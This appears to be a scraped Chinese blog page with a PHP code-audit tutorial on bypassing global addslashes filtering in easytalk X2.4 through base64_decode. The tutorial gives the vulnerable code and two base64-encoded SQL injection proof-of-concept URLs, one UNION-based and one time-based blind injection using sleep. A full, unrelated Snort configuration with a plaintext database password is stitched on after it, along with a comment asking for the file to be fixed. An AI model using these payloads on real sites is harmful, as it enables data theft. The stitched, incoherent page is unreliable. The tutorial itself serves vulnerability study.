【PHP代码审计】 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode

本文通过实例演示如何利用base64_decode函数绕过全局过滤实现SQL注入攻击。针对易受攻击的easytalk程序版本X2.4,文章详细介绍了从环境搭建到漏洞分析的过程,并给出了构造SQL盲注的具体步骤。

0x01 背景

现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号。同上一篇,我们需要找一些编码解码的函数来绕过全局防护,本篇介绍base64decode()的情况。
漏洞来源于乌云:http://www.wooyun.org/bugs/wooyun-2014-050338

0x02 环境搭建

看背景我们使用了低版本的easytalk程序,版本为X2.4
①源码我打包了一份:http://pan.baidu.com/s/1bopOFNL
②解压到www的easytalk目录下,按照提示一步步安装即可,遇到问题自行百度或谷歌,成功后访问如下图:

0x03 漏洞分析

首先看下源码结构,用的ThinkPHP框架,比较复杂:

有兴趣的可以去研究下再继续往下看,新手可以知道ThinkPHP对接收的参数是有过滤的,并且根据你服务器是否开启GPC会做相应的处理:
1./ThinkPHP/Extend/Library/ORG/Util/Input.class.php文件第266行:

<?php
/**
+----------------------------------------------------------
* 如果 magic_quotes_gpc 为关闭状态,这个函数可以转义字符串
+----------------------------------------------------------
* @access public
+----------------------------------------------------------
* @param string $string 要处理的字符串
+----------------------------------------------------------
* @return string
+----------------------------------------------------------
*/
static public function addSlashes($string) {
if (!get_magic_quotes_gpc()) {
$string = addslashes($string);
}
return $string;
}

 

2.使用Seay代码审计系统的全局搜索功能,搜索包含关键字为”base64_decode”的文件,发现SettingAction.class.php包含一个对接收的参数auth进行base64_decode的地方:

3.我们跟进这个php文件,发现虽然使用daddslashes函数进行了注入过滤,但是使用了base64_decode函数对参数auth进行了转码从而可以绕过过滤造成注入:

//认证电子邮件
public function doauth() {
$_authmsg=daddslashes($_GET['auth']);//再次判断GPC是否开启并进行注入过滤
$authmsg=base64_decode($_authmsg);//base64_decode函数对参数进行转码处理
$tem=explode(":",$authmsg);//对解码后的参数authmsg按照“:”进行分割存入数组tem中
$send_id=$tem[0];
$user=M('Users');

$row = $user->field('mailadres,auth_email')->where("user_id='$send_id'")->find();//带入查询,在where子句里,造成注入
if ($_authmsg==$row['auth_email']) {
$user->where("user_id='$send_id'")->setField('auth_email',1);
setcookie('setok', json_encode(array('lang'=>L('mail6'),'ico'=>1)),0,'/');
} else {
setcookie('setok', json_encode(array('lang'=>L('mail7'),'ico'=>2)),0,'/');
}
header('location:'.SITE_URL.'/?m=setting&a=mailauth');
}

 

0x04 漏洞证明

构造获取数据库相关信息的POC:

http://localhost/eazytalk/?m=setting&a=doauth&auth=aGFja2luZycgdW5pb24gc2VsZWN0IHVzZXIoKSwyIw== 

查看sql语句发现成功执行:

发现这里是一个盲注,并没有输出,所以我们使用sql盲注的语句。获取当前数据库用户名的第一个字符是不是‘r’(ascii值为114)的POC:

http://localhost/eazytalk/?m=index&a=mailactivity&auth=MicgYW5kIChzZWxlY3QgaWYoKGFzY2lpKHN1YnN0cmluZygoc2VsZWN0IHVzZXIoKSksMSwxKSkgPSAxMTQpLHNsZWVwKDUpLDApKSM= 

页面持续了5秒,说明user()的第一个字符为‘r’,查看sql语句发现成功执行:

最后,有兴趣的同学可以自己写个py脚本来跑这种盲注。

本文由HackBraid整理总结,原文链接:http://www.cnbraid.com/2016/02/18/sql2/,如需转载请联系作者。

转载于:https://www.cnblogs.com/xiaozi/p/5538374.html

#-------------------------------------------------- # http://www.snort.org Snort Ruleset # Contact: snort-sigs@lists.sourceforge.net #-------------------------------------------------- # $Id$ # ################################################### # This file contains a sample snort configuration. # You should take the following steps to create your own custom configuration: # # 1) Set the network variables. # 2) Configure the decoder # 3) Configure the base detection engine # 4) Configure dynamic loaded libraries # 5) Configure preprocessors # 6) Configure output plugins # 7) Customize your rule set ################################################### ################################################### # Step #1: Set the network variables. For more information, see README.variables ################################################### # Setup the network addresses you are protecting var HOME_NET 192.168.119.0/24 # Set up the external network addresses. A good start may be "any" var EXTERNAL_NET any # List of DNS servers on your network var DNS_SERVERS $HOME_NET # List of SMTP servers on your network var SMTP_SERVERS $HOME_NET # List of web servers on your network var HTTP_SERVERS $HOME_NET # List of sql servers on your network var SQL_SERVERS $HOME_NET # List of telnet servers on your network var TELNET_SERVERS $HOME_NET # List of ports you run web servers on portvar HTTP_PORTS [80,2301,3128,7777,7779,8000,8008,8028,8080,8180,8888,9999] # List of ports you want to look for SHELLCODE on. portvar SHELLCODE_PORTS !80 # List of ports you might see oracle attacks on portvar ORACLE_PORTS 1521 # other variables, these should not be modified var AIM_SERVERS [64.12.24.0/23,64.12.28.0/23,64.12.161.0/24,64.12.163.0/24,64.12.200.0/24,205.188.3.0/24,205.188.5.0/24,205.188.7.0/24,205.188.9.0/24,205.188.153.0/24,205.188.179.0/24,205.188.248.0/24] # Path to your rules files (this can be a relative path) # Note for Windows users: You are advised to make this an absolute path, # such as: c:\snort\rules var RULE_PATH C:\Snort\rules var SO_RULE_PATH C:\Snort\so_rules var PREPROC_RULE_PATH C:\Snort\preproc_rules ################################################### # Step #2: Configure the decoder. For more information, see README.decode ################################################### # Stop generic decode events: config disable_decode_alerts # Stop Alerts on experimental TCP options config disable_tcpopt_experimental_alerts # Stop Alerts on obsolete TCP options config disable_tcpopt_obsolete_alerts # Stop Alerts on T/TCP alerts config disable_tcpopt_ttcp_alerts # Stop Alerts on all other TCPOption type events: config disable_tcpopt_alerts # Stop Alerts on invalid ip options config disable_ipopt_alerts # Alert if value in length field (IP, TCP, UDP) is greater th elength of the packet # config enable_decode_oversized_alerts # Same as above, but drop packet if in Inline mode (requires enable_decode_oversized_alerts) # config enable_decode_oversized_drops # Configure IP / TCP checksum mode config checksum_mode: all # Configure maximum number of flowbit references. For more information, see README.flowbits # config flowbits_size: 64 # Configure ports to ignore # config ignore_ports: tcp 21 6667:6671 1356 # config ignore_ports: udp 1:17 53 ################################################### # Step #3: Configure the base detection engine. For more information, see README.decode ################################################### # Configure PCRE match limitations config pcre_match_limit: 1500 config pcre_match_limit_recursion: 1500 # Configure the detection engine See the Snort Manual, Configuring Snort - Includes - Config config detection: search-method ac-bnfa max_queue_events 5 # Configure the event queue. For more information, see README.event_queue config event_queue: max_queue 8 log 3 order_events content_length # Configure Inline Resets. See README.INLINE # config layer2resets: 00:06:76:DD:5F:E3 ################################################### # Step #4: Configure dynamic loaded libraries. # For more information, see Snort Manual, Configuring Snort - Dynamic Modules ################################################### # path to dynamic preprocessor libraries #dynamicpreprocessor directory /usr/local/lib/snort_dynamicpreprocessor/ # path to base preprocessor engine #dynamicengine /usr/local/lib/snort_dynamicengine/libsf_engine.so # path to dynamic rules libraries # dynamicdetection directory /usr/local/lib/snort_dynamicrules # 配置Windows下的动态模块路径 dynamicpreprocessor file C:\Snort\lib\snort_dynamicpreprocessor\sf_dce2.dll dynamicpreprocessor file C:\Snort\lib\snort_dynamicpreprocessor\sf_dns.dll dynamicpreprocessor file C:\Snort\lib\snort_dynamicpreprocessor\sf_ftptelnet.dll dynamicpreprocessor file C:\Snort\lib\snort_dynamicpreprocessor\sf_sdf.dll dynamicpreprocessor file C:\Snort\lib\snort_dynamicpreprocessor\sf_smtp.dll dynamicpreprocessor file C:\Snort\lib\snort_dynamicpreprocessor\sf_ssh.dll dynamicpreprocessor file C:\Snort\lib\snort_dynamicpreprocessor\sf_ssl.dll dynamicengine C:\Snort\lib\snort_dynamicengine\sf_engine.dll ################################################### # Step #5: Configure preprocessors # For more information, see the Snort Manual, Configuring Snort - Preprocessors ################################################### # Target-based IP defragmentation. For more inforation, see README.frag3 preprocessor frag3_global: max_frags 65536 preprocessor frag3_engine: policy windows timeout 180 # Target-Based stateful inspection/stream reassembly. For more inforation, see README.stream5 preprocessor stream5_global: max_tcp 8192, track_tcp yes, track_udp no preprocessor stream5_tcp: policy windows, use_static_footprint_sizes, ports client 21 22 23 25 42 53 79 80 109 110 111 113 119 135 136 137 139 143 110 111 161 445 513 514 691 1433 1521 2100 2301 3128 3306 6665 6666 6667 6668 6669 7000 8000 8080 8180 8888 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779, ports both 443 465 563 636 989 992 993 994 995 7801 7702 7900 7901 7902 7903 7904 7905 7906 6907 7908 7909 7910 7911 7912 7913 7914 7915 7916 7917 7918 7919 7920 # preprocessor stream5_udp: ignore_any_rules # performance statistics. For more information, see the Snort Manual, Configuring Snort - Preprocessors - Performance Monitor # preprocessor perfmonitor: time 300 file /var/snort/snort.stats pktcnt 10000 # HTTP normalization and anomaly detection. For more information, see README.http_inspect preprocessor http_inspect: global iis_unicode_map unicode.map 1252 preprocessor http_inspect_server: server default \ apache_whitespace no \ ascii no \ bare_byte no \ chunk_length 500000 \ flow_depth 1460 \ directory no \ double_decode no \ iis_backslash no \ iis_delimiter no \ iis_unicode no \ multi_slash no \ non_strict \ oversize_dir_length 500 \ ports { 80 2301 3128 7777 7779 8000 8008 8028 8080 8180 8888 9999 } \ u_encode yes \ non_rfc_char { 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07 } \ webroot no # ONC-RPC normalization and anomaly detection. For more information, see the Snort Manual, Configuring Snort - Preprocessors - RPC Decode preprocessor rpc_decode: 111 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 no_alert_multiple_requests no_alert_large_fragments no_alert_incomplete # Back Orifice detection. preprocessor bo # FTP / Telnet normalization and anomaly detection. For more information, see README.ftptelnet preprocessor ftp_telnet: global encrypted_traffic yes check_encrypted inspection_type stateful preprocessor ftp_telnet_protocol: telnet \ ayt_attack_thresh 20 \ normalize ports { 23 } \ detect_anomalies #preprocessor ftp_telnet_protocol: ftp server default \ # def_max_param_len 100 \ # ports { 21 2100 } \ # ftp_cmds { USER PASS ACCT CWD SDUP SMNT QUIT REIN PORT PASV TYPE STRU MODE } \ # ftp_cmds { RETR STOR STOU APPE ALLO REST RNFR RNTO ABOR DELE RMD MKD PWD } \ # ftp_cmds { LIST NLST SITE SYST STAT HELP NOOP } \ # ftp_cmds { AUTH ADAT PROT PBSZ CONF ENC } \ # ftp_cmds { FEAT OPTS CEL CMD MACB } \ # ftp_cmds { MDTM REST SIZE MLST MLSD } \ # ftp_cmds { XPWD XCWD XCUP XMKD XRMD TEST CLNT } \ # alt_max_param_len 0 { CDUP QUIT REIN PASV STOU ABOR PWD SYST NOOP } \ # alt_max_param_len 100 { MDTM CEL XCWD SITE USER PASS REST DELE RMD SYST TEST STAT MACB EPSV CLNT LPRT } \ # alt_max_param_len 200 { XMKD NLST ALLO STOU APPE RETR STOR CMD RNFR HELP } \ # alt_max_param_len 256 { RNTO CWD } \ # alt_max_param_len 400 { PORT } \ # alt_max_param_len 512 { SIZE } \ # chk_str_fmt { USER PASS ACCT CWD SDUP SMNT PORT TYPE STRU MODE } \ # chk_str_fmt { RETR STOR STOU APPE ALLO REST RNFR RNTO DELE RMD MKD } \ # chk_str_fmt { LIST NLST SITE SYST STAT HELP } \ # chk_str_fmt { AUTH ADAT PROT PBSZ CONF ENC } \ # chk_str_fmt { FEAT OPTS CEL CMD } \ # chk_str_fmt { MDTM REST SIZE MLST MLSD } \ # chk_str_fmt { XPWD XCWD XCUP XMKD XRMD TEST CLNT } \ # cmd_validity MODE < char ASBCZ > \ # cmd_validity STRU < char FRP > \ # cmd_validity ALLO < int [ char R int ] > \ # cmd_validity TYPE < { char AE [ char NTC ] | char I | char L [ number ] } > \ # cmd_validity MDTM < [ date nnnnnnnnnnnnnn[.n[n[n]]] ] string > \ # cmd_validity PORT < host_port > #preprocessor ftp_telnet_protocol: ftp client default \ # max_resp_len 256 \ # bounce yes \ # telnet_cmds no # SMTP normalization and anomaly detection. For more information, see README.SMTP #preprocessor smtp: ports { 25 587 691 } \ # inspection_type stateful \ # normalize cmds \ # normalize_cmds { EXPN VRFY RCPT } \ # alt_max_command_line_len 260 { MAIL } \ #alt_max_command_line_len 300 { RCPT } \ # alt_max_command_line_len 500 { HELP HELO ETRN } \ # alt_max_command_line_len 255 { EXPN VRFY } # Portscan detection. For more information, see README.sfportscan # preprocessor sfportscan: proto { all } memcap { 10000000 } sense_level { low } # ARP spoof detection. For more information, see the Snort Manual - Configuring Snort - Preprocessors - ARP Spoof Preprocessor # preprocessor arpspoof # preprocessor arpspoof_detect_host: 192.168.40.1 f0:0f:00:f0:0f:00 # SSH anomaly detection. For more information, see README.ssh #preprocessor ssh: server_ports { 22 } \ # max_client_bytes 19600 \ # max_encrypted_packets 20 \ # enable_respoverflow enable_ssh1crc32 \ # enable_srvoverflow enable_protomismatch # SMB / DCE-RPC normalization and anomaly detection. For more information, see README.dcerpc2 #preprocessor dcerpc2: memcap 102400, events [co ] #preprocessor dcerpc2_server: default, policy WinXP, \ # detect [smb [139,445], tcp 135, udp 135, rpc-over-http-server 593], \ # autodetect [tcp 1025:, udp 1025:, rpc-over-http-server 1025:], \ # smb_max_chain 3 # DNS anomaly detection. For more information, see README.dns #preprocessor dns: ports { 53 } enable_rdata_overflow # SSL anomaly detection and traffic bypass. For more information, see README.ssl #preprocessor ssl: ports { 443 465 563 636 989 992 993 994 995 7801 7702 7900 7901 7902 7903 7904 7905 7906 6907 7908 7909 7910 7911 7912 7913 7914 7915 7916 7917 7918 7919 7920 }, trustservers, noinspect_encrypted ################################################### # Step #6: Configure output plugins # For more information, see Snort Manual, Configuring Snort - Output Modules ################################################### # 数据库输出:告警数据存入 snortdb(用户 snort001,密码 kali) output database: alert, mysql, user=snort001 password=kali dbname=snortdb host=localhost # syslog # output alert_syslog: LOG_AUTH LOG_ALERT # pcap # output log_tcpdump: tcpdump.log # database # output database: alert, <db_type>, user=<username> password=<password> test dbname=<name> host=<hostname> # output database: log, <db_type>, user=<username> password=<password> test dbname=<name> host=<hostname> # unified2 output unified2: filename snort.log, limit 128 # prelude # output alert_prelude # metadata reference data. do not modify these lines include classification.config include reference.config ################################################### # Step #7: Customize your rule set # For more information, see Snort Manual, Writing Snort Rules ################################################### # site specific rules include $RULE_PATH/local.rules include $RULE_PATH/community-rules/community.rules include $RULE_PATH/exploit.rules include $RULE_PATH/ftp.rules include $RULE_PATH/telnet.rules include $RULE_PATH/rpc.rules include $RULE_PATH/rservices.rules include $RULE_PATH/dos.rules include $RULE_PATH/ddos.rules include $RULE_PATH/dns.rules include $RULE_PATH/web-cgi.rules include $RULE_PATH/web-coldfusion.rules include $RULE_PATH/web-iis.rules include $RULE_PATH/web-frontpage.rules include $RULE_PATH/web-misc.rules include $RULE_PATH/web-client.rules include $RULE_PATH/web-php.rules include $RULE_PATH/sql.rules include $RULE_PATH/x11.rules include $RULE_PATH/netbios.rules include $RULE_PATH/misc.rules include $RULE_PATH/attack-responses.rules include $RULE_PATH/oracle.rules include $RULE_PATH/mysql.rules include $RULE_PATH/smtp.rules include $RULE_PATH/imap.rules include $RULE_PATH/pop2.rules include $RULE_PATH/pop3.rules include $RULE_PATH/nntp.rules include $RULE_PATH/backdoor.rules # include $RULE_PATH/snmp.rules # include $RULE_PATH/icmp.rules # include $RULE_PATH/tftp.rules # include $RULE_PATH/scan.rules # include $RULE_PATH/finger.rules # include $RULE_PATH/web-attacks.rules # include $RULE_PATH/shellcode.rules # include $RULE_PATH/policy.rules # include $RULE_PATH/info.rules # include $RULE_PATH/icmp-info.rules # include $RULE_PATH/virus.rules # include $RULE_PATH/chat.rules # include $RULE_PATH/multimedia.rules # include $RULE_PATH/p2p.rules # include $RULE_PATH/spyware-put.rules # include $RULE_PATH/specific-threats.rules # include $RULE_PATH/voip.rules # include $RULE_PATH/other-ids.rules # include $RULE_PATH/bad-traffic.rules # decoder and preprocessor event rules # include $PREPROC_RULE_PATH/preprocessor.rules # include $PREPROC_RULE_PATH/decoder.rules # dynamic library rules # include $SO_RULE_PATH/bad-traffic.rules # include $SO_RULE_PATH/chat.rules # include $SO_RULE_PATH/dos.rules # include $SO_RULE_PATH/exploit.rules # include $SO_RULE_PATH/imap.rules # include $SO_RULE_PATH/misc.rules # include $SO_RULE_PATH/multimedia.rules # include $SO_RULE_PATH/netbios.rules # include $SO_RULE_PATH/nntp.rules # include $SO_RULE_PATH/p2p.rules # include $SO_RULE_PATH/smtp.rules # include $SO_RULE_PATH/sql.rules # include $SO_RULE_PATH/web-activex.rules # include $SO_RULE_PATH/web-client.rules # include $SO_RULE_PATH/web-misc.rules # Event thresholding or suppression commands. See threshold.conf include threshold.conf 这是我的snort.conf,你将改好的发我
11-06
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值